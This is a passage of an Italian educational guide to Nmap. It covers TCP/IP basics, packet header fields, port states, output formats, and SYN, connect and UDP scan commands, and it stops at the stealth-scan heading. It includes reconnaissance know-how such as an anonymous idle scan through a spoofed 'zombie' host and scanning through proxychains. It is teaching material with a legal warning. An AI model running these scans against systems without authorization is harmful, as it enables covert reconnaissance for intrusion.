

NMAP

Guida Teorico-Pratica alla Sicurezza di Rete

*Teoria dei protocolli • Tecniche di scansione • OS e Service Detection • NSE Scripting • Evasione • Difesa •
Workflow professionali*

Versione 2025 • Basato su Nmap 7.95

AVVERTENZA LEGALE — Nmap deve essere usato esclusivamente su sistemi di propria titolarità o con autorizzazione scritta esplicita. La scansione non autorizzata costituisce reato in Italia (art. 615-ter c.p.) e nella maggior parte delle giurisdizioni internazionali.

SOMMARIO

SOMMARIO	2
1. FONDAMENTI: IL MODELLO TCP/IP	9
1.1 Il modello a strati: perché esiste	9
1.2 IP: indirizzi e instradamento	9
1.3 TCP: connessioni affidabili e il three-way handshake	10
1.4 Le porte: il concetto fondamentale	10
1.5 UDP: senza connessione, senza garanzie	10
1.6 ICMP: il protocollo di controllo	11
1B. ANATOMIA DI UN PACCHETTO TCP/IP	12
1B.1 L'header IP: i campi rilevanti per Nmap	12
1B.2 L'header TCP: i flag che Nmap manipola	12
1B.3 Come l'idle scan sfrutta l'IP ID	13
1B.4 Il fingerprinting OS: i test che Nmap esegue	14
2. COS'È NMAP: STORIA E ARCHITETTURA	15
2.1 Gordon Lyon (Fyodor) e la nascita di Nmap	15
2.2 L'architettura di Nmap	15
2.3 Il principio di funzionamento: raw socket	16
2.4 Come Nmap determina lo stato di una porta	16
2.5 Le quattro fasi di una scansione Nmap	16
3. INSTALLAZIONE E PRIME SCANSIONI	18
3.1 Installazione per sistema operativo	18
3.2 Sintassi di base e specificare i target	18
3.3 L'output di Nmap: come leggerlo	19

3.4 Formati di output e salvataggio	19
4. TECNICHE DI SCANSIONE: TEORIA E PRATICA	21
4.1 TCP SYN Scan (-sS): la tecnica standard	21
4.2 TCP Connect Scan (-sT): quando non si ha root	21
4.3 UDP Scan (-sU): il territorio dimenticato	22
4.4 Scansioni stealth: FIN, NULL, XMAS	22
4.5 Timing: bilanciare velocità e discrezione	23
4B. OTTIMIZZAZIONE E CASI LIMITE	24
4B.1 Parallelismo e host grouping	24
4B.2 Diagnosi: perché Nmap non trova quello che cerco?	24
4B.3 Verbosità e debug: capire cosa sta facendo Nmap	25
4B.4 Scansione di reti con NAT e proxy	25
5. HOST DISCOVERY: TROVARE HOST ATTIVI	27
5.1 Come Nmap determina se un host è attivo	27
5.2 Ping sweep: esempi pratici	27
5.3 Salpa l'host discovery con -Pn	28
5.4 DNS e risoluzione dei nomi	29
6. VERSION DETECTION E OS FINGERPRINTING	30
6.1 Come funziona il version detection (-sV)	30
6.2 OS Fingerprinting: la teoria dietro	30
6.3 OS Detection in pratica	31
6.4 Identificare dispositivi OT/IoT	31
6B. PROTOCOLLI DI RETE: STORIA E SICUREZZA	33
6B.1 Il problema dell'eredità storica	33

6B.2 I protocolli moderni e la loro relazione con Nmap	33
6B.3 IPv6 e le nuove sfide per Nmap	34
6B.4 Il futuro: Nmap e le reti 5G/IoT/Edge	35
7. NMAP SCRIPTING ENGINE (NSE)	36
7.1 L'architettura di NSE: perché Lua?	36
7.2 Eseguire script NSE: sintassi e opzioni	37
7.3 Script NSE essenziali per sicurezza	37
Sicurezza SSL/TLS	37
Sicurezza SMB/Windows	37
Web e HTTP	38
Database e servizi	38
7.4 Scrivere uno script NSE: struttura base	39
8. EVASIONE FIREWALL E IDS	41
8.1 Come i firewall rilevano le scansioni	41
8.2 Frammentazione dei pacchetti (-f)	41
8.3 Decoy scan (-D): confondere i log	42
8.4 Manipolazione porta sorgente	42
8.5 Randomizzazione e delay	42
8.6 Tabella riepilogativa: tecnica vs difesa	43
8B. VULNERABILITÀ NOTE E CORRELAZIONE CVE	44
8B.1 Il sistema CVE: come funziona	44
8B.2 Le vulnerabilità più importanti rilevabili con Nmap	44
EternalBlue — CVE-2017-0144 (CVSS 9.8)	44
Heartbleed — CVE-2014-0160 (CVSS 7.5)	45
Shellshock — CVE-2014-6271 (CVSS 10.0)	46
8B.3 Come correlare versioni Nmap con CVE	46
8B.4 Tabella CVE storiche rilevabili con Nmap	49

9. DIFESA: RILEVARE E RISPONDERE

50

9.1 Rilevare una scansione: cosa cercare nei log

50

9.2 Regole Snort/Suricata per rilevare Nmap

50

9.3 Hardening: ridurre ciò che Nmap può trovare

51

9.4 Nascondere le versioni dei servizi

52

9.5 Usare Nmap per la propria difesa

53

9B. THREAT INTELLIGENCE E RICOGNIZIONE PASSIVA

55

9B.1 Fonti OSINT complementari a Nmap

55

9B.2 Integrare OSINT nel workflow pre-scan

55

9B.3 Threat modeling: identificare i rischi prima di scannerizzare

56

10. WORKFLOW PROFESSIONALI

58

10.1 Il workflow a cinque fasi

58

Fase 1 — Riconoscimento passiva

58

Fase 2 — Host discovery

58

Fase 3 — Port scan iniziale

58

Fase 4 — Deep scan

58

Fase 5 — Vulnerability assessment

58

10.2 Script completo: audit LAN aziendale

58

10.3 Workflow per server singolo (web app)

60

10.4 Interpretare i risultati: dalla scan alla remediation

61

11. GLOSSARIO E RIFERIMENTO RAPIDO

62

11.1 Glossario essenziale

62

11.2 Riferimento rapido: opzioni principali

64

11.3 Risorse per approfondire

65

11B. TEORIA DELLA SICUREZZA DI RETE

66

11B.1 La superficie di attacco

66

11B.2 Il modello CIA e come Nmap vi si inserisce	66
11B.3 Defense-in-depth: la difesa a strati	67
11B.4 Il ciclo PDCA applicato alla sicurezza di rete	67
Plan (Pianifica)	67
Do (Esegui)	67
Check (Verifica)	68
Act (Agisci)	68
12. AUTOMAZIONE CON PYTHON	69
12.1 Come funziona python-nmap	69
12.2 Scanner di rete con report	70
12.3 Vulnerability scanner automatizzato	70
12.4 Monitoraggio continuo con alert	73
13. INTEGRAZIONE: METASPLOIT E WIRESHARK	76
13.1 Perché integrare Nmap e Metasploit	76
13.2 Wireshark: vedere cosa fa Nmap	77
13.3 Parsing dell'output XML con Python	78
14. NMAP SU RETI OT/ICS INDUSTRIALI	81
14.1 Differenze fondamentali tra reti IT e OT	81
14.2 Protocolli industriali: cosa cerca Nmap	81
14.3 Regole d'oro per Nmap su reti OT	82
14.4 Comandi Nmap sicuri per reti OT	82
14.5 Interpretare i risultati su reti OT	84
15. NMAP E COMPLIANCE	85
15.1 Quale standard richiede cosa	85
15.2 Costruire evidenza per l'audit	85
15.3 Ndiff per il tracking dei cambiamenti	86

16. LABORATORIO PRATICO	88
16.1 Target di test autorizzati	88
16.2 Lab Docker: rete isolata con target multipli	88
16.3 Esercizi su scanme.nmap.org	90
17. CHEATSHEET E CONCLUSIONI	92
17.1 Cheatsheet: comandi per scenario	92
17.2 Domande guida per scegliere la tecnica	92
17.3 Nmap vs altri scanner: quando usare cosa	94
17.4 Il percorso di apprendimento consigliato	94
Livello 1 — Principiante	94
Livello 2 — Intermedio	94
Livello 3 — Avanzato	94
Livello 4 — Professionale	94
17.5 Conclusioni	95
18. NSE AVANZATO E SCENARI REALI	95
18.1 Ricognizione web sistematica	95
18.2 Enumerazione Active Directory	96
18.3 Audit completo di un database server	97
18.4 Scenario reale: audit di un'azienda manifatturiera	98
19. TABELLE DI CONFRONTO E RIEPILOGO FINALE	100
19.1 Confronto completo tecniche di scansione	100
19.2 Script NSE per protocollo: mappa completa	101
19.3 Tempistiche di scansione: guida pratica	102
19.4 Errori comuni e come evitarli	103
20. APPENDICE: RISORSE E PERCORSO PROFESSIONALE	103
20.1 Libreria di riferimento essenziale	104

- 20.2 Certificazioni per chi usa Nmap professionalmente 105
- 20.3 Ambienti di pratica consigliati 105
- 20.4 Comunità e aggiornamento continuo 106
- 21. TAVOLA SINOTTICA E INDICE TEMATICO 107**
 - 21.1 Mappa scenari → comando Nmap 107
 - 21.2 Mappa concetti teorici → capitoli di riferimento 108
 - 21.3 Dieci principi guida per un uso professionale 108

1. FONDAMENTI: IL MODELLO TCP/IP

Per capire davvero come funziona Nmap — e non solo come usarlo — occorre prima comprendere i protocolli su cui Internet è costruita. Questa sezione non è un corso di reti: è il minimo indispensabile per interpretare intelligentemente l'output di Nmap e scegliere la tecnica giusta per ogni scenario.

1.1 Il modello a strati: perché esiste

Internet è un sistema straordinariamente complesso che deve far comunicare miliardi di dispositivi diversi. Per gestire questa complessità, gli ingegneri hanno adottato un approccio modulare: suddividere il problema della comunicazione in **strati indipendenti**, ognuno responsabile di un aspetto specifico.

Il risultato è il modello **TCP/IP** (o Internet Protocol Suite), composto da quattro livelli principali. Ogni livello usa i servizi del livello sottostante e offre servizi al livello sovrastante, senza sapere — né interessarsi — di come gli altri livelli svolgono il loro lavoro internamente.

Livello	Nome	Protocolli principali	Responsabilità
4 (App)	Applicazione	HTTP, SSH, FTP, DNS, SMTP, SNMP	Servizi utente: web, email, file transfer, gestione reti
3 (Trasporto)	Trasporto	TCP, UDP	Comunicazione end-to-end: affidabilità, porte, controllo flusso
2 (Rete)	Internet	IP, ICMP, ARP	Indirizzamento e routing tra reti diverse
1 (Accesso)	Accesso rete	Ethernet, Wi-Fi, PPP	Trasmissione fisica dei bit sul mezzo trasmissivo

■ **NOTA** Nmap opera principalmente ai livelli 2 e 3 (inviando pacchetti IP e ICMP) e al livello 3 (sfruttando TCP e UDP). La sua potenza deriva dal costruire e analizzare pacchetti a basso livello, bypassando lo stack di rete del sistema operativo.

1.2 IP: indirizzi e instradamento

Il protocollo **IP (Internet Protocol)** è il fondamento della rete: ogni dispositivo connesso ha un indirizzo IP univoco, e ogni pacchetto IP porta scritto in testa l'indirizzo sorgente e quello di destinazione. Il routing — il processo di decidere quale percorso far seguire a ogni pacchetto — si basa su queste informazioni.

Concetto chiave — TTL (Time To Live)

Ogni pacchetto IP contiene un campo TTL: un contatore decrementato di 1 ad ogni router attraversato. Quando raggiunge 0 il pacchetto viene scartato e il mittente riceve un messaggio ICMP di errore. Il TTL iniziale dipende dal sistema operativo: Linux usa 64, Windows usa 128, Cisco IOS usa 255. Nmap sfrutta questo valore come uno degli indicatori per l'OS detection.

1.3 TCP: connessioni affidabili e il three-way handshake

TCP (Transmission Control Protocol) è il protocollo di trasporto orientato alla connessione. Prima di scambiare dati, mittente e destinatario devono stabilire una connessione tramite il **three-way handshake**: uno scambio di tre messaggi che sincronizza i parametri della comunicazione.

Passo	Mittente	Destinatario	Significato
1 — SYN	Invia SYN (seq=100)		Il client propone di aprire una connessione e comunica il suo numero di sequenza iniziale
2 — SYN+ACK		Risponde SYN+ACK (seq=200, ack=101)	Il server accetta e comunica il proprio seq. Conferma di aver ricevuto il SYN del client
3 — ACK	Invia ACK (ack=201)		Il client conferma. La connessione è stabilita: i dati possono fluire

La SYN scan di Nmap **interrompe deliberatamente** questo processo dopo il secondo passo: ricevuto il SYN+ACK, invia un RST invece di completare con ACK. Questo significa che la connessione non viene mai stabilita completamente — e quindi spesso non appare nei log applicativi del server.

1.4 Le porte: il concetto fondamentale

Un indirizzo IP identifica una macchina sulla rete. Ma su quella macchina possono girare decine di servizi diversi: un server web, un server SSH, un database. Le **porte** risolvono questo problema: sono numeri interi da 0 a 65535 che identificano un servizio specifico su una macchina.

Ogni connessione TCP o UDP è identificata da quattro elementi: IP sorgente, porta sorgente, IP destinazione, porta destinazione. Quando Nmap 'scansiona una porta', verifica se esiste un servizio in ascolto su quella combinazione di IP e numero di porta.

Range porte	Nome	Assegnazione
0 – 1023	Well-known	Assegnate da IANA a protocolli standard (HTTP=80, SSH=22, FTP=21)
1024 – 49151	Registered	Assegnate da IANA su richiesta (MySQL=3306, PostgreSQL=5432)
49152 – 65535	Dynamic/Private	Usate dinamicamente dal SO per le connessioni uscenti (porte effimere)

1.5 UDP: senza connessione, senza garanzie

A differenza di TCP, **UDP (User Datagram Protocol)** non stabilisce una connessione prima di inviare dati: ogni pacchetto (datagramma) è indipendente e non c'è conferma di ricezione. Questo lo rende più veloce ma meno affidabile.

Servizi critici come DNS (porta 53), SNMP (161), DHCP (67/68), NTP (123) usano UDP. La scansione UDP con Nmap è difficile perché se una porta è aperta spesso non c'è risposta: Nmap deve aspettare il timeout. Solo se la porta è chiusa il sistema invia un messaggio ICMP 'port unreachable'.

1.6 ICMP: il protocollo di controllo

ICMP (Internet Control Message Protocol) è il protocollo di segnalazione di IP: trasporta messaggi di errore e diagnostica. Il *ping* tradizionale usa messaggi ICMP Echo Request/Reply. Nmap usa ICMP in vari modi: per il ping sweep iniziale (host discovery), per rilevare host filtrati da firewall, e per interpretare le risposte 'destination unreachable' durante la scansione UDP.

Fonti: RFC 793 — TCP; RFC 768 — UDP; RFC 791 — IP; RFC 792 — ICMP; IANA Port Numbers (iana.org/assignments/port-numbers); Tanenbaum 'Computer Networks' 5th ed. (Pearson)

1B. ANATOMIA DI UN PACCHETTO TCP/IP

Per capire le tecniche di scansione avanzate di Nmap — in particolare le scansioni stealth — è indispensabile conoscere la struttura interna di un pacchetto TCP/IP. Questa sezione analizza campo per campo cosa Nmap legge e manipola.

1B.1 L'header IP: i campi rilevanti per Nmap

Campo IP	Dimensione	Cosa contiene	Uso in Nmap
Version	4 bit	Versione IP (4 o 6)	Nmap gestisce entrambe; -6 per IPv6
IHL	4 bit	Lunghezza header in word da 32 bit	Usato per calcolare offset dati
DSCP/ECN	8 bit	Precedenza e notifica congestione	Raramente modificato da Nmap
Total Length	16 bit	Dimensione totale del pacchetto	Usato per --data-length e frammentazione
ID	16 bit	Identificatore per riassemblaggio frammenti	Chiave dell'idle scan: analisi sequenza IP ID
Flags + Offset	16 bit	DF, MF, offset frammento	DF bit influenza OS fingerprinting; -f frammenta
TTL	8 bit	Time To Live — decrementato ad ogni hop	OS detection: Linux=64, Windows=128, Cisco=255
Protocol	8 bit	Protocollo superiore: TCP=6, UDP=17, ICMP=1	Determina tipo di scan
Header Checksum	16 bit	Checksum dell'header	--badsum invia checksum errato
Src/Dst Address	32 bit	IP sorgente e destinazione	IP spoofing (-S), decoy (-D)

1B.2 L'header TCP: i flag che Nmap manipola

I **flag TCP** sono i controlli di stato della connessione. Sono 9 bit nell'header TCP, ognuno con un significato preciso. Nmap costruisce pacchetti con combinazioni di flag diverse per elicitare risposte diagnostiche dal target:

Flag	Bit	Nome completo	Significato	Usato da
SYN	0x02	Synchronize	Avvia una connessione TCP	SYN scan (-sS), host discovery (-PS)
ACK	0x10	Acknowledge	Conferma ricezione dati	ACK scan (-sA), host discovery (-PA)

Flag	Bit	Nome completo	Significato	Usato da
FIN	0x01	Finish	Chiude una connessione	FIN scan (-sF), XMAS scan (-sX)
RST	0x04	Reset	Reimposta/chiude forzatamente	Inviato da Nmap dopo SYN+ACK ricevuto
PSH	0x08	Push	Forza l'invio immediato dei dati	XMAS scan (-sX) insieme a FIN+URG
URG	0x20	Urgent	Dati urgenti nel pacchetto	XMAS scan (-sX) insieme a FIN+PSH
SYN+ACK	0x12	—	Risposta al SYN: porta aperta	Target → Nmap (indica porta aperta)
0x00	—	NULL	Nessun flag impostato	NULL scan (-sN)
FIN+PSH+URG	0x29	XMAS	Tutti i 'vecchi' flag accesi	XMAS scan (-sX)

Perché RFC 793 permette le scansioni stealth

La RFC 793 (il documento fondativo del protocollo TCP, 1981) stabilisce: 'Se la porta è CLOSED, un segmento in ingresso che non sia RST causa l'invio di un RST.' E poi: 'Se la porta è OPEN e il segmento non ha SYN, RST o ACK, deve essere scartato silenziosamente.' Questo è il comportamento che le scansioni FIN, NULL e XMAS sfruttano: la differenza di comportamento tra porta aperta (silenzio) e porta chiusa (RST) rivela lo stato della porta senza mai avviare una connessione.

1B.3 Come l'idle scan sfrutta l'IP ID

L'idle scan (-sI) è la tecnica più sofisticata di Nmap: permette di scansionare un target in modo completamente anonimo usando un terzo host (lo 'zombie') come intermediario. Funziona grazie al campo IP ID e al fatto che alcuni sistemi lo incrementano in modo prevedibile (sequenziale).

Passo	Azione	Dettaglio tecnico
1	Misura IP ID dello zombie	Nmap invia un SYN+ACK allo zombie. Lo zombie risponde RST con il suo IP ID attuale (es: 1000).
2	Invia SYN spoofato al target	Nmap invia SYN al target con IP sorgente = IP dello zombie. Se la porta target è APERTA: target invia SYN+ACK allo zombie. Lo zombie non si aspetta questa risposta → invia RST → IP ID = 1001.
3	Misura IP ID zombie di nuovo	Nmap invia altro SYN+ACK allo zombie. Se IP ID è 1002 (+2 dal passo 1): porta target era APERTA. Se IP ID è 1001 (+1 dal passo 1): porta target era CHIUSA.

■ **NOTA** L'idle scan richiede uno zombie con IP ID incrementale sequenziale. I sistemi Linux moderni randomizzano l'IP ID per default, rendendoli inutilizzabili come zombie. Si trovano zombie adatti tra stampanti di rete, dispositivi IoT e sistemi Windows più datati.

■ BASH | Trovare zombie e eseguire idle scan

```
# Trovare uno zombie adatto (IP ID deve essere "Incremental")
nmap --script ipidseq 192.168.1.50
# Output: IP ID Sequence: Incremental <- zombie adatto!
# Output: IP ID Sequence: Randomized <- inutilizzabile

# Eseguire idle scan usando lo zombie trovato
sudo nmap -sI 192.168.1.50 192.168.1.1
#          ^^^^^^^^^^^^^^^^^^ ^^^^^^^^^^^^^^
#          zombie             target reale
```

1B.4 Il fingerprinting OS: i test che Nmap esegue

Nmap esegue fino a 13 test diversi per costruire il fingerprint OS. Ognuno analizza una caratteristica specifica dello stack TCP/IP. Questi test vengono poi confrontati con il database nmap-os-db:

Test	Nome	Cosa misura
SEQ	Sequence Generation	Come il SO genera i numeri di sequenza TCP iniziali: incrementali, casuali, basati sul tempo?
OPS	TCP Options	Quali opzioni TCP include nel SYN iniziale e in che ordine: MSS, SACK, timestamp, window scale, NOP?
WIN	Window Size	Dimensione della finestra TCP nel SYN iniziale: ogni OS ha valori tipici diversi.
ECN	Explicit Congestion Notification	Come risponde a un SYN con i bit ECN impostati?
T2-T7	TCP probes	6 probe TCP con flag diversi verso porte aperte e chiuse: analizza TTL, DF bit, dimensione finestra, opzioni nella risposta.
U1	UDP probe	Invia un pacchetto UDP a una porta chiusa e analizza la risposta ICMP port-unreachable: TTL, DF bit, dimensione.
IE	ICMP Echo	Invia due ICMP Echo Request con parametri non standard e analizza le risposte: TTL, DF bit, tipo di servizio.

Fonti: RFC 793 (TCP); RFC 791 (IP); RFC 792 (ICMP); nmap.org/book/osdetect-fingerprint-format.html; Fyodor 'Nmap Network Scanning' Cap. 8 e 9

2. COS'È NMAP: STORIA E ARCHITETTURA

Nmap (Network Mapper) è nato nel 1997 come un semplice port scanner di poche centinaia di righe di C, pubblicato su Phrack Magazine. In quasi trent'anni si è evoluto in una piattaforma completa di network intelligence, diventando lo standard di riferimento per amministratori di rete, penetration tester e ricercatori di sicurezza.

2.1 Gordon Lyon (Fyodor) e la nascita di Nmap

Il creatore di Nmap è **Gordon Lyon**, noto online con lo pseudonimo **Fyodor Vaskovich**. Il 1° settembre 1997 pubblica il codice sorgente sulla mailing list di *Phrack Magazine* n. 51. Originariamente scritto in C puro, implementava già le tecniche di scansione fondamentali (SYN, FIN, XMAS, NULL) e il rilevamento del sistema operativo tramite TCP/IP fingerprinting.

Fyodor ha continuato a sviluppare Nmap quasi ininterrottamente, trasformandolo in un progetto open source (licenza GPL v2) con una comunità mondiale di contributor. Nel 2009 ha pubblicato '*Nmap Network Scanning*', il manuale ufficiale disponibile gratuitamente su nmap.org/book — ancora oggi la fonte più completa.

2.2 L'architettura di Nmap

Nmap non è un unico programma monolitico: è una suite di componenti che cooperano. Comprendere l'architettura aiuta a scegliere lo strumento giusto per ogni compito:

Componente	Funzione	Quando usarlo
nmap	Motore principale di scansione e analisi	Sempre: è il cuore di tutto
Zenmap	GUI grafica cross-platform (Python/GTK)	Apprendimento, visualizzazione topologia, profili salvati
Ncat	Netcat moderno con SSL, proxy, broker	Test connettività, tunneling, file transfer sicuro
Nping	Generatore di pacchetti di rete (come hping3)	Test rete, misura RTT, debugging protocolli
Ndiff	Confronta due output XML di Nmap	Monitoraggio cambiamenti di rete nel tempo
NSE	Nmap Scripting Engine (script Lua)	Automazione avanzata, rilevamento vulnerabilità
nmap-service-probes	Database firme servizi (1.200+ voci)	Utilizzato automaticamente da -sV
nmap-os-db	Database fingerprint OS (5.600+ voci)	Utilizzato automaticamente da -O

2.3 Il principio di funzionamento: raw socket

Concetto chiave — Raw Socket

Un 'raw socket' è un tipo speciale di socket che permette di costruire pacchetti di rete arbitrari, bypassando completamente lo stack TCP/IP del sistema operativo. Normalmente, quando un'applicazione apre una connessione TCP, il SO gestisce tutto in automatico (numerazione sequenza, checksum, ecc.). Con i raw socket, Nmap costruisce ogni singolo byte del pacchetto a mano: può creare pacchetti 'impossibili' (come TCP senza flag, o con IP sorgente falsificato) che non potrebbero mai essere generati da una normale applicazione. Per questo motivo, Nmap richiede privilegi root (Linux/macOS) o Amministratore (Windows).

Quando Nmap opera senza privilegi elevati, usa le normali system call del sistema operativo (la funzione `connect()`): questa modalità funziona ma è più lenta e lascia tracce nei log del target, perché le connessioni vengono completate.

2.4 Come Nmap determina lo stato di una porta

Nmap non si limita a dire 'aperta' o 'chiusa': distingue sei stati possibili, ognuno con un significato preciso che dipende dalla risposta ricevuta (o dall'assenza di risposta):

Stato	Risposta ricevuta	Significato concreto
open	SYN+ACK (TCP) o risposta UDP	Un servizio è in ascolto e accetta connessioni su questa porta
closed	RST (TCP) o ICMP port unreachable (UDP)	Nessun servizio in ascolto, ma la porta è raggiungibile
filtered	Nessuna risposta (timeout) o ICMP unreachable generico	Un firewall sta bloccando i pacchetti — non si sa se c'è un servizio
unfiltered	RST (solo nella ACK scan)	La porta è raggiungibile, ma non si sa se è aperta o chiusa
open filtered	Nessuna risposta (UDP, FIN, NULL, XMAS scan)	Non si distingue se aperta o filtrata — entrambi i casi non rispondono
closed filtered	Nessuna risposta (solo idle scan)	Non si distingue se chiusa o filtrata

2.5 Le quattro fasi di una scansione Nmap

Una scansione Nmap completa attraversa quattro fasi sequenziali, ognuna opzionale ma attivata per default in modi diversi:

- **Fase 1 — Target enumeration:** Nmap risolve hostname, espande notazioni CIDR (es. 192.168.1.0/24) e carica liste da file. Non invia ancora nessun pacchetto.
- **Fase 2 — Host discovery (ping sweep):** prima di scansionare le porte, Nmap verifica quali host sono attivi. Usa una combinazione di ICMP, TCP e ARP (su LAN). Si salta con `-Pn` quando si sa che il target è attivo.
- **Fase 3 — Port scanning:** il cuore di Nmap. Invia pacchetti alle porte specificate e analizza le risposte per determinare lo stato di ciascuna porta.

- **Fase 4 — Version detection / OS detection / NSE:** sulle porte aperte trovate nella fase 3, interroga i servizi per identificare software e versioni (-sV), rileva l'OS (-O) ed esegue script NSE (-sC o --script).

■ BASH | Struttura di un comando Nmap e le sue fasi

Sintassi generale di Nmap:

```
nmap [tipo_scan] [opzioni] {target}
```

Esempio completo con tutte e 4 le fasi attive:

```
sudo nmap -sS -sV -O -sC -T4 192.168.1.1
```

```
#      ^^^  ^^^  ^  ^^^
```

```
#      |    |    |  +-- Fase 4: script NSE default
```

```
#      |    |    +----- Fase 4: OS detection
```

```
#      |    +----- Fase 4: version detection
```

```
#      +----- Fase 3: SYN scan (port scan)
```

La fase 2 (host discovery) e' sempre attiva di default

La fase 1 avviene sempre automaticamente

Per vedere le fasi in dettaglio (molto verbose):

```
sudo nmap -sS -vvv 192.168.1.1
```

Fonti: Fyodor 'Nmap Network Scanning' nmap.org/book; nmap.org/history.html; github.com/nmap/nmap; Phrack Magazine #51 (1997, phrack.org)

■ TEORIA

Le porte si specificano con -p. Senza -p, Nmap scansiona le 1000 porte TCP più comuni. Con -F scansiona le top 100. Con -p- scansiona tutte le 65535 porte (lento ma completo). Si possono mescolare porte TCP e UDP nella stessa scansione.

■ PRATICA — Specificare le porte

```
# Come specificare le porte:
nmap -F 192.168.1.1          # top 100 (fast)
nmap 192.168.1.1             # top 1000 (default)
nmap -p 22,80,443 192.168.1.1 # porte specifiche
nmap -p 1-1024 192.168.1.1    # range 1-1024
nmap -p- 192.168.1.1          # tutte 65535
nmap -p T:80,U:53 192.168.1.1 # TCP 80 + UDP 53
nmap --top-ports 200 target   # top 200
```

3.3 L'output di Nmap: come leggerlo

L'output di Nmap è ricco di informazioni. Imparare a leggerlo correttamente è fondamentale:

■ BASH | Anatomia dell'output Nmap: come interpretare ogni campo

```
$ nmap -sV 192.168.1.1

Starting Nmap 7.95 ( https://nmap.org ) at 2025-05-10 14:32 CEST
Nmap scan report for router.local (192.168.1.1)
Host is up (0.0034s latency).          <-- RTT al target: 3.4ms
Not shown: 994 closed tcp ports (reset) <-- 994 porte hanno risposto RST
PORT      STATE      SERVICE  VERSION
22/tcp    open       ssh      OpenSSH 8.9p1 Ubuntu
80/tcp    open       http     nginx 1.24.0
443/tcp   open       ssl/http nginx 1.24.0
8080/tcp   filtered   http-proxy <-- firewall blocca questa porta
3306/tcp   closed     mysql    <-- nessun servizio in ascolto

Service detection performed.
Nmap done: 1 IP address (1 host up) scanned in 8.42 seconds
      ^^^               ^^^^
      quante macchine ha trovato UP   tempo totale

# Colonne della tabella porte:
# PORT      = numero porta e protocollo
# STATE     = open / closed / filtered / unfiltered
# SERVICE   = nome servizio (da /etc/services o nmap-services)
# VERSION   = software e versione (solo con -sV)
```

3.4 Formati di output e salvataggio

Nmap supporta quattro formati di output. Il formato **XML** (è quello più utile per l'automazione) può essere parsato da Python, importato in Metasploit e convertito in HTML. Il formato **Grepable** mette tutto su una riga per host, facilitando l'uso di grep/awk.

Opzione	Formato	Uso tipico
-oN file	Normale (leggibile)	Report da leggere a schermo o via editor
-oX file	XML	Parsing automatico, import Metasploit, conversione HTML
-oG file	Grepable	Estrazione rapida dati con grep, awk, sed

Opzione	Formato	Uso tipico
-oA basename	Tutti e tre	Genera .nmap + .xml + .gnmap contemporaneamente

■ BASH | Salvataggio output e conversione in HTML

```
# Salva tutti i formati con un unico comando (consigliato per audit)
sudo nmap -sS -sV -T4 -oA risultati_audit 192.168.1.0/24
# Genera: risultati_audit.nmap (leggibile)
#         risultati_audit.xml  (machine-readable)
#         risultati_audit.gnmap (grepable)

# Converti XML in HTML con lo stile ufficiale Nmap
xsltproc /usr/share/nmap/nmap.xsl risultati_audit.xml -o report.html

# Ricerca rapida nel formato grepable:
grep "open" risultati_audit.gnmap | grep "22/open" # chi ha SSH aperto?
grep "open" risultati_audit.gnmap | awk '{print $2}' # solo IP con porte aperte
```

Fonti: nmap.org/book/output.html; nmap.org/download.html; nmap.org/book/inst.html — guida installazione ufficiale

4. TECNICHE DI SCANSIONE: TEORIA E PRATICA

Nmap implementa oltre una dozzina di tecniche di scansione diverse. Capire come funzionano a livello di protocollo è fondamentale per scegliere quella giusta: non esiste una tecnica universalmente migliore, ma ogni situazione ha la sua scelta ottimale.

■ **SOLO USO AUTORIZZATO** Tutte le tecniche di scansione devono essere utilizzate ESCLUSIVAMENTE su sistemi propri o con autorizzazione scritta. La scansione non autorizzata è illegale.

4.1 TCP SYN Scan (-sS): la tecnica standard

La SYN scan è la tecnica predefinita quando si ha root. Viene chiamata anche *half-open scan* o *stealth scan*: non completa mai il three-way handshake, quindi spesso non lascia tracce nei log applicativi del server (ma è rilevabile da IDS moderni).

■ TEORIA

Meccanismo: 1) Nmap invia un pacchetto SYN alla porta target 2a) Se porta APERTA: riceve SYN+ACK, risponde RST 2b) Se porta CHIUSA: riceve RST 2c) Se porta FILTRATA: nessuna risposta (o ICMP unreachable) Il RST finale impedisce al SO del target di creare un'entrata nella tabella delle connessioni, quindi molti daemon non registrano l'evento nei log.

■ PRATICA — TCP SYN Scan

```
# SYN scan base (richiede root)
sudo nmap -sS 192.168.1.1

# SYN scan + verbose per vedere ogni porta
sudo nmap -sS -v 192.168.1.1

# SYN scan su rete /24
sudo nmap -sS -T4 192.168.1.0/24

# Output: solo porte aperte
sudo nmap -sS --open 192.168.1.1
```

4.2 TCP Connect Scan (-sT): quando non si ha root

■ TEORIA

La TCP Connect scan usa la system call connect() del SO invece dei raw socket. Questo significa: - Non richiede privilegi elevati - Completa il three-way handshake completo - Lascia tracce nei log del target (la connessione appare stabilita) - E' piu lenta perche aspetta il completamento del handshake Utile quando: non si ha root, si scansiona via proxy SOCKS, o si vuole verificare che una connessione TCP completa funzioni.

■ PRATICA — TCP Connect Scan

```
# TCP Connect (funziona senza root)
nmap -sT 192.168.1.1

# Confronto pratico: differenza di velocita
time nmap -sS -T4 192.168.1.1 # piu veloce
time nmap -sT -T4 192.168.1.1 # piu lenta

# Uso tipico: via proxy SOCKS (no raw socket)
# proxychains nmap -sT -Pn -n 192.168.1.1
```

4.3 UDP Scan (-sU): il territorio dimenticato

La scansione UDP è spesso trascurata ma rivela servizi critici che una scansione TCP non troverebbe mai: DNS, SNMP, DHCP, NTP, TFTP. La difficoltà è che UDP non ha un meccanismo di risposta standard: se la porta è aperta, il servizio potrebbe rispondere o potrebbe non rispondere affatto (dipende dal protocollo applicativo). Solo se la porta è chiusa il sistema operativo invia un ICMP 'port unreachable'.

Perché la UDP scan è lenta

La maggior parte dei sistemi operativi limita la frequenza di invio dei messaggi ICMP 'port unreachable' a circa 1 al secondo (RFC 1812). Con 65535 porte UDP possibili, una scansione completa potrebbe richiedere oltre 18 ore. Per questo si usano --top-ports o si limitano le porte ai servizi UDP critici noti.

■ BASH | UDP scan: porte critiche e tecniche di accelerazione

UDP scan top-100 porte (molto più pratico)

```
sudo nmap -sU --top-ports 100 192.168.1.1
```

UDP scan porte critiche specifiche

```
sudo nmap -sU -p 53,67,68,69,123,161,162,500,514 192.168.1.1
```

53=DNS 67/68=DHCP 69=TFTP 123=NTP 161/162=SNMP

500=IKE(VPN) 514=syslog

Combinare TCP e UDP nella stessa scansione

```
sudo nmap -sS -sU -T4 --top-ports 100 192.168.1.1
```

Accelerare con --min-rate (attenzione: più falsi positivi)

```
sudo nmap -sU --top-ports 200 --min-rate 500 192.168.1.1
```

4.4 Scansioni stealth: FIN, NULL, XMAS

